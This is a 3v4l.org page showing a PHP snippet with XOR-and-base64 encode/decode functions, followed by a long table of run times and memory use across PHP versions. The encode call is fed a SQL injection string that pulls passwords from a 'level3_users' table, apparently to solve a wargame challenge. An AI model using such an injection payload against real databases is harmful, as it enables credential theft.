3v4l.org

run code in 300+ PHP versions simultaneously
<?php function decrypt ($str) { if(preg_match('%^[a-zA-Z0-9/+]*={0,2}$%',$str)) { $str = base64_decode($str); if ($str != "" && $str != null && $str != false) { $decStr = ""; for ($i=0; $i < strlen($str); $i+=3) { $array[$i/3] = substr($str,$i,3); } foreach($array as $s) { $a = $s^192; $decStr .= chr($a); } return $decStr; } return false; } return false; } echo decrypt("MTI5MTY0MTczMTY5MTc0"); print "\n"; function encrypt($str) { $cryptedstr = ""; for ($i =0; $i < strlen($str); $i++) { $temp = ord(substr($str,$i,1)) ^ 192; while(strlen($temp)<3) { $temp = "0".$temp; } $cryptedstr .= $temp. ""; } return base64_encode($cryptedstr); } echo encrypt("Admin' UNION SELECT 1,password,3,4,5,6,7 FROM level3_users WHERE username=0x41646d696e --"); print "\n"; ?>

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0070.00718.43
8.3.50.0130.00322.06
8.3.40.0040.01219.09
8.3.30.0100.00318.99
8.3.20.0040.00420.36
8.3.10.0040.00423.61
8.3.00.0080.00019.17
8.2.180.0040.01118.79
8.2.170.0110.00422.96
8.2.160.0100.00320.52
8.2.150.0050.00324.18
8.2.140.0040.00424.66
8.2.130.0040.00426.16
8.2.120.0030.00620.33
8.2.110.0060.00322.25
8.2.100.0070.00418.03
8.2.90.0050.00219.17
8.2.80.0050.00317.97
8.2.70.0000.00817.88
8.2.60.0000.00818.04
8.2.50.0110.00318.07
8.2.40.0050.00320.07
8.2.30.0050.00218.42
8.2.20.0040.00418.02
8.2.10.0070.00018.17
8.2.00.0080.00017.91
8.1.280.0070.01025.92
8.1.270.0000.00923.96
8.1.260.0080.00026.35
8.1.250.0000.00828.09
8.1.240.0030.00623.96
8.1.230.0040.00719.09
8.1.220.0080.00017.74
8.1.210.0040.00418.77
8.1.200.0040.00417.60
8.1.190.0030.00617.60
8.1.180.0060.00318.10
8.1.170.0040.00418.88
8.1.160.0020.00522.07
8.1.150.0030.00618.78
8.1.140.0000.00717.68
8.1.130.0030.00318.00
8.1.120.0000.00717.70
8.1.110.0000.00717.63
8.1.100.0070.00017.60
8.1.90.0040.00317.55
8.1.80.0030.00617.55
8.1.70.0000.00717.59
8.1.60.0050.00317.78
8.1.50.0090.00017.66
8.1.40.0030.00517.77
8.1.30.0040.00417.88
8.1.20.0020.00517.77
8.1.10.0040.00417.79
8.1.00.0050.00317.67
8.0.300.0070.00018.77
8.0.290.0040.00417.18
8.0.280.0040.00418.50
8.0.270.0040.00417.23
8.0.260.0050.00217.23
8.0.250.0000.00717.03
8.0.240.0040.00417.14
8.0.230.0030.00317.11
8.0.220.0000.00717.00
8.0.210.0000.00717.09
8.0.200.0000.00617.12
8.0.190.0000.00717.16
8.0.180.0000.00817.13
8.0.170.0000.00917.05
8.0.160.0000.00717.02
8.0.150.0070.00017.12
8.0.140.0040.00417.02
8.0.130.0000.00613.53
8.0.120.0080.00017.01
8.0.110.0000.00717.06
8.0.100.0030.00617.04
8.0.90.0090.00017.14
8.0.80.0060.01517.01
8.0.70.0040.00416.96
8.0.60.0070.00016.95
8.0.50.0000.00716.98
8.0.30.0110.00817.27
8.0.20.0090.00917.49
8.0.10.0030.00517.10
8.0.00.0080.01017.03
7.4.330.0000.00515.00
7.4.320.0000.00716.80
7.4.300.0000.00716.76
7.4.290.0040.00416.76
7.4.280.0040.00416.75
7.4.270.0040.00416.84
7.4.260.0080.00016.86
7.4.250.0040.00416.69
7.4.240.0030.00316.78
7.4.230.0070.00016.82
7.4.220.0070.01016.88
7.4.210.0060.01016.87
7.4.200.0040.00416.85
7.4.190.0070.00016.66
7.4.160.0160.00816.84
7.4.150.0070.01017.40
7.4.140.0100.01017.86
7.4.130.0110.00916.64
7.4.120.0090.01116.57
7.4.110.0160.00616.65
7.4.100.0110.00716.93
7.4.90.0070.01516.70
7.4.80.0180.00019.39
7.4.70.0120.00616.84
7.4.60.0060.01416.64
7.4.50.0060.00016.55
7.4.40.0090.00916.74
7.4.30.0110.00516.79
7.4.00.0030.01014.97
7.3.330.0000.00513.42
7.3.320.0030.00313.54
7.3.310.0080.00016.56
7.3.300.0080.00016.40
7.3.290.0070.00716.55
7.3.280.0150.00716.55
7.3.270.0170.00317.40
7.3.260.0130.00316.55
7.3.250.0110.00616.53
7.3.240.0030.01416.50
7.3.230.0030.01316.68
7.3.210.0070.01116.52
7.3.200.0080.00819.39
7.3.190.0040.01316.46
7.3.180.0030.01316.84
7.3.170.0090.00916.75
7.3.160.0060.00916.61
7.3.120.0040.01115.07
7.3.110.0060.01315.29
7.3.100.0090.00615.08
7.3.90.0070.01115.29
7.3.80.0070.00715.09
7.3.70.0000.01315.06
7.3.60.0090.00615.11
7.3.50.0060.00914.84
7.3.40.0030.00615.06
7.3.30.0070.00714.75
7.3.20.0030.00616.69
7.3.10.0000.01216.80
7.3.00.0050.00516.84
7.2.330.0040.01516.70
7.2.320.0120.00616.92
7.2.310.0100.00616.76
7.2.300.0120.00616.82
7.2.290.0130.01016.84
7.2.250.0070.01415.12
7.2.240.0080.01115.17
7.2.230.0130.00315.24
7.2.220.0070.00415.08
7.2.210.0000.01415.28
7.2.200.0090.00615.10
7.2.190.0030.01014.95
7.2.180.0070.00715.15
7.2.170.0090.00615.28
7.2.00.0060.00319.83
7.1.330.0120.00316.19
7.1.320.0080.00815.68
7.1.310.0060.00616.04
7.1.300.0060.00316.09
7.1.290.0100.00316.05
7.1.280.0030.01215.89
7.1.270.0060.00915.71
7.1.260.0040.01115.61
7.1.100.0290.00717.77
7.1.70.0040.00417.29
7.1.60.0000.01017.22
7.1.50.0100.01417.17
7.1.00.0100.07022.55
7.0.200.0030.01316.75
7.0.140.0030.06722.04
7.0.110.0170.07020.08
7.0.100.0100.07719.95
7.0.90.0130.08019.96
7.0.80.0070.08020.07
7.0.70.0200.06719.87
7.0.60.0070.07020.06
7.0.50.0100.07720.48
7.0.40.0130.07320.04
7.0.30.0100.08720.22
7.0.20.0100.08320.26
7.0.10.0130.07320.18
7.0.00.0070.08720.04
5.6.280.0070.07021.10
5.6.260.0100.08020.63
5.6.250.0130.04720.75
5.6.240.0070.08320.73
5.6.230.0100.04720.55
5.6.220.0030.08720.70
5.6.210.0070.08020.82
5.6.200.0070.08321.28
5.6.190.0070.09021.15
5.6.180.0030.08720.97
5.6.170.0070.08321.10
5.6.160.0130.07721.30
5.6.150.0130.08021.03
5.6.140.0170.06321.15
5.6.130.0070.09020.94
5.6.120.0070.08721.09
5.6.110.0070.08020.96
5.6.100.0070.08321.04
5.6.90.0070.05321.08
5.6.80.0070.07320.51
5.6.70.0030.08320.35
5.6.60.0070.07720.52
5.6.50.0030.04720.50
5.6.40.0030.07320.55
5.6.30.0070.07720.51
5.6.20.0200.06320.48
5.6.10.0070.07020.39
5.6.00.0100.07720.49
5.5.380.0100.07720.55
5.5.370.0070.06320.50
5.5.360.0070.08020.36
5.5.350.0130.08020.48
5.5.340.0070.08020.88
5.5.330.0200.04320.75
5.5.320.0270.06320.98
5.5.310.0070.05320.91
5.5.300.0000.09020.75
5.5.290.0000.09320.94
5.5.280.0170.07321.00
5.5.270.0100.08320.97
5.5.260.0030.08720.83
5.5.250.0070.08020.56
5.5.240.0170.07020.36
5.5.230.0030.06020.41
5.5.220.0000.07320.18
5.5.210.0200.06020.29
5.5.200.0070.06720.17
5.5.190.0100.07020.15
5.5.180.0070.07720.38
5.5.160.0030.08320.06
5.5.150.0170.07020.22
5.5.140.0070.07320.22
5.5.130.0130.07320.26
5.5.120.0070.06020.32
5.5.110.0100.05720.39
5.5.100.0030.06020.22
5.5.90.0070.07020.01
5.5.80.0070.08020.05
5.5.70.0100.07320.19
5.5.60.0070.07320.25
5.5.50.0200.06320.25
5.5.40.0100.06720.13
5.5.30.0070.07320.04
5.5.20.0070.06720.24
5.5.10.0130.04320.23
5.5.00.0130.07020.11
5.4.450.0030.08019.30
5.4.440.0070.05719.32
5.4.430.0070.07319.35
5.4.420.0070.07319.32
5.4.410.0100.07319.22
5.4.400.0070.07719.16
5.4.390.0130.06718.98
5.4.380.0030.08318.97
5.4.370.0030.07019.31
5.4.360.0030.08319.08
5.4.350.0100.06018.94
5.4.340.0170.05018.99
5.4.320.0100.06719.00
5.4.310.0070.08019.22
5.4.300.0070.06718.98
5.4.290.0130.06719.16
5.4.280.0030.08019.02
5.4.270.0070.04318.97
5.4.260.0130.06319.16
5.4.250.0070.03718.98
5.4.240.0030.07719.22
5.4.230.0030.04719.12
5.4.220.0100.07018.97
5.4.210.0100.07318.98
5.4.200.0100.07718.98
5.4.190.0030.06319.13
5.4.180.0030.07719.17
5.4.170.0070.07319.24
5.4.160.0100.07019.14
5.4.150.0100.07318.95
5.4.140.0070.07316.48
5.4.130.0070.05316.40
5.4.120.0000.07716.36
5.4.110.0000.07016.64
5.4.100.0100.05316.31
5.4.90.0130.07016.64
5.4.80.0130.06716.52
5.4.70.0030.06716.40
5.4.60.0070.07016.45
5.4.50.0100.06016.46
5.4.40.0100.06716.42
5.4.30.0170.06316.43
5.4.20.0000.07716.43
5.4.10.0100.07316.62
5.4.00.0100.06015.91
5.3.290.0130.07014.65
5.3.280.0100.06314.69
5.3.270.0100.06714.75
5.3.260.0030.07314.64
5.3.250.0070.04314.64
5.3.240.0100.06714.57
5.3.230.0100.07014.68
5.3.220.0030.07714.57
5.3.210.0070.07314.43
5.3.200.0030.07714.59
5.3.190.0100.06714.67
5.3.180.0070.04314.52
5.3.170.0070.07014.66
5.3.160.0100.08014.42
5.3.150.0100.07014.57
5.3.140.0070.08014.59
5.3.130.0030.05014.68
5.3.120.0030.07714.56
5.3.110.0000.08014.58
5.3.100.0000.07714.06
5.3.90.0070.07314.00
5.3.80.0070.06314.04
5.3.70.0070.06714.06
5.3.60.0030.05714.03
5.3.50.0100.06713.93
5.3.40.0130.06714.09
5.3.30.0130.06713.92
5.3.20.0100.06713.83
5.3.10.0100.06713.70
5.3.00.0100.06013.73
5.2.170.0000.07011.76
5.2.160.0030.06711.76
5.2.150.0000.06711.76
5.2.140.0100.04711.76
5.2.130.0070.06011.76
5.2.120.0030.06311.76
5.2.110.0030.03711.76
5.2.100.0030.05011.76
5.2.90.0070.05711.76
5.2.80.0030.06011.76
5.2.70.0200.03011.76
5.2.60.0030.04311.76
5.2.50.0000.04711.76
5.2.40.0030.03311.76
5.2.30.0000.06711.76
5.2.20.0130.05311.76
5.2.10.0070.04311.76
5.2.00.0030.05711.76
5.1.60.0070.03011.76
5.1.50.0000.06011.76
5.1.40.0030.05011.76
5.1.30.0170.04711.76
5.1.20.0070.04311.76
5.1.10.0030.05711.76
5.1.00.0030.05311.76
5.0.50.0030.04711.76
5.0.40.0030.04711.76
5.0.30.0030.03711.76
5.0.20.0030.04311.76
5.0.10.0130.01711.76
5.0.00.0070.05311.76
4.4.90.0030.03011.76
4.4.80.0100.03011.76
4.4.70.0000.03711.76
4.4.60.0030.02711.76
4.4.50.0030.03711.76
4.4.40.0070.02311.76
4.4.30.0000.04011.76
4.4.20.0070.03311.76
4.4.10.0030.03311.76
4.4.00.0000.03711.76
4.3.110.0070.03011.76
4.3.100.0030.02311.76
4.3.90.0000.03311.76
4.3.80.0070.05011.76
4.3.70.0070.03011.76
4.3.60.0030.03011.76
4.3.50.0070.02011.76
4.3.40.0070.04711.76
4.3.30.0030.03011.76
4.3.20.0070.03011.76
4.3.10.0000.03011.76
4.3.00.0000.04011.76

preferences:
43.43 ms | 401 KiB | 5 Q